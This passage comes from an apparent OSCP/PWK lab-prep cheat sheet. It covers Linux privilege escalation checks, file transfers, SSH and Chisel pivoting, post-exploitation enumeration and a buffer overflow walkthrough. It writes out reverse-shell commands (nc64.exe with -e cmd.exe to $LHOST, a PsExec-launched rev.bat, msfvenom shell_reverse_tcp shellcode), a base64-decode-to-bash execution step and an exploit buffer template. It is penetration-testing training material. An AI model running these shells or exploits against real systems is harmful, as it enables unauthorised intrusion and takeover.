.\PsExec.exe -user $USERNAME -p $PASSWORD "c:\temp\rev.bat"

Linux

For Linux PrivEsc, I usually run sudo -l. If this results in certain commands that we can run (without a password or with a known password), I’d bet ya that this is your vector. After that, I start looking at the filesystem (again - home directories and interesting directories like /var/www/html) for juicy files or files that contain credentials or clues. Often, this may result in e.g. MySQL credentials that we can use to dump the DB locally. Finally, I look at interesting and/or non-default groups we are in through id.

After that, I usually automate PrivEsc enumeration through linPEAS or in some cases LinEnum. However, I strongly advice everyone to get familiar with the commands that these scripts execute and what they imply. This is an excellent reference of commands that help in getting situational awareness and identifying vulnerabilities manually. Also, I like the high level questions posed here - Who am I? What can I read, write, or execute? Some of the questions you have to answer for effective privilege escalation in Linux are similar to Windows, some are entirely different. In general, below are some questions that are often relevant.

• Are any services or programs running that seem non-default? Are they vulnerable?
  • Pay special attention to services running as the root user (ps auxww | grep root) - in many cases these may be your path to root. E.g., is MySQL running as root? Run raptor_udf2.
• Which services are listening only locally? Are they vulnerable?
• Are permissions on interesting files or folders misconfigured?
• Are there any cronjobs or scheduled tasks in place? Who executes them?
  • Note: If you cannot read cron files try pSpy - it may help in identifying interesting recurrently executed commands.
• Can we run sudo on default binaries? Check GTFOBins for them.
• Are any interesting binaries owned by root with SUID or GUID set? Check GTFOBins for them.
• Are there any files with unrestricted POSIX capabilities (just +ep), or other interesting capabilities (such as cap_setuid or cap_dac_override) that we can use for privesc?
• If you identified any binaries running recurrently as root or that we can trigger with sudo or in an elevated context: Can we write to that file? Can we hijack the path?

Note: If you run out of options for elevation to root, consider the fact that you may have to move laterally to another user first.

Again, kernel exploits should be a last resort for PWK privilege escalation. Identifying the kernel version with uname and tossing that into searchsploit should be helpful on that front, but be prepared to start struggling with all types of compiling issues! 💀

File Transfers

There are many tools available for easy file transfers, but these are some of my favorites.

Windows

For Windows, I almost exclusively run or copy from my SMB share. In some cases it works, in some it doesn’t. I always try commands in this order:

1. Impacket-smbserver

   impacket-smbserver secure .
   
   # On target system - copy files
   copy \\$LHOST\secure\nc64.exe .
   

2. Impacket-smbserver (with SMBv2 support) Seems to work in some cases, if you get a “not subscriptable” error otherwise.

   impacket-smbserver secure . -smb2support
   
   # On target system - spawn shell straight from share
   \\$LHOST\secure\nc64.exe $LHOST $LPORT -e cmd.exe
   

3. SMB Daemon Works most of the time, but is some hassle to set up and doesn’t give you NetNTLM hashes as a bonus.

   service smbd start
   

Linux

I usually use a simple HTTP server from python to curl or wget files on demand.

python3 -m http.server 80 # Starts a web server in the current directory on port 80

There are some nice alternatives in case this is not possible. Examples are base64-encoding and netcat.

cat $FILENAME | base64 #copy output

# On target
echo -n "$BASE64FILE" | base64 -d | bash # run the file in bash

nc -lvnp 443 < $FILENAME

# On target
nc $LHOST 443 > $FILENAME

Pivoting

SSH access always gives you the easiest pivot. You can set up a SOCKS proxy by adding the -D flag as follows.

ssh $USERNAME@$RHOST -D 1080

This opens a SOCKS proxy on your machine’s port 1080, which is proxied to the target system. You can configure to use it with proxychains quite easily.

Another nice addition to the proxying portfolio is sshuttle, it does some magic to automatically proxy traffic from your host to a certain subnet through the target system.

sshuttle -r $USERNAME@$RHOST 10.1.1.0/24

If you only have Windows systems to deal with, Chisel comes highly recommended. It’s a bit more complicated to set up a full SOCKS proxy, as it requires two sessions on the target. The required commands are as below.

On Kali:

./chisel server -p 8000 --reverse

On target:

.\chisel_windows_386.exe client $LHOST:8000 R:8001:127.0.0.1:9001

Now we are listening on localhost:8001 on kali to forward that traffic to target:9001.

Then, open the Socks server: On target:

.\chisel_windows_386.exe server -p 9001 --socks5

On Kali:

./chisel client localhost:8001 socks

Post-exploitation Enumeration

In general, the things you are looking for will stand out quite a bit in the PWK labs. It is nonetheless critical to spend enough time in post-enumeration, as otherwise you will surely miss the entry points of several machines. Very briefly speaking, the things you are looking for are as follow.

• Proof.txt files (duh)
• Accounts on the machine (/etc/passwd or hashdump)
• Credentials in files of several formats (plaintext, KeePass-files, RDP files, etc.)
• Credentials in services (FTP servers, databases)
• Interesting files in home directories
• Activity between multiple machines (ARP tables or netstat)

If you encounter a machine in the PWK labs that references specific names or any type of user action, make good note of that and come back to it later. You likely found a hint for a client-side exploit or relation between two machines.

Buffer Overflows

Buffer overflows are a skill you definitely have to practice well before your exam. I have included my (very basic) command reference below, but I would recommend looking at resources that explain it better. A good overview of the process is provided here. The PWK course materials also do a great job explaining the process, and the “Extra Miles” exercises are definitely worth doing.

Fuzz buffer length

Manually or by using a Python script.

Find EIP offset

msf-pattern_create -l [length]

Find EIP value, then msf-pattern_offset -l [length] -q [EIP-query]

Determine ‘slack space’

Does the exploit code (and prior to that, your list of badchars) fit AFTER EIP? Can we reference it there? Alternatively, fit the exploit code and/or list of badchars in the buffer itself.

Find bad chars

Good overview provided here. I prefer doing it manually.

Find suitable memory address

Find opcode

Find a suitable instruction msf-nasm_shell

nasm > jmp esp
00000000  FFE4              jmp esp

Note: Try call if jmp is not found!

Find address

In Unity debugger with Mona find a module without protections. !mona modules

Then find the addresses to place in EIP. !mona find -s '\xff\xe4' -m module.dll

Note: Mona has some additional, powerful features to find a suitable memory address. You can use for example !mona jmp -r esp -cpb "BADCHARS" to find any JMP ESP or CALL ESP, whilst leaving out addresses with bad characters. Note that Mona returns addresses for all modules by default, so you still have to look at the protections.

Addresses in little endian format, so address 0xabcdef10 becomes \x10\xef\xcd\xab.

Generate shellcode

msfvenom -p windows/shell_reverse_tcp LHOST=$LHOST LPORT=$LPORT EXITFUNC=thread -f py -b '\x00'

Add NOP sled

Just to ensure the payload is referenced correctly.

nopsled = '\x90' * 16

Finalize exploit

At a high level, your buffer becomes something like the following for a simple BoF.

buffer = "A" * 1337 # Identified overflow offset
buffer += "\x10\xef\xcd\xab" # EIP, pointing to your chosen instruction (e.g. JMP ESP)
buffer += "\x90" * 16 # NOP sled
buffer += exploit_code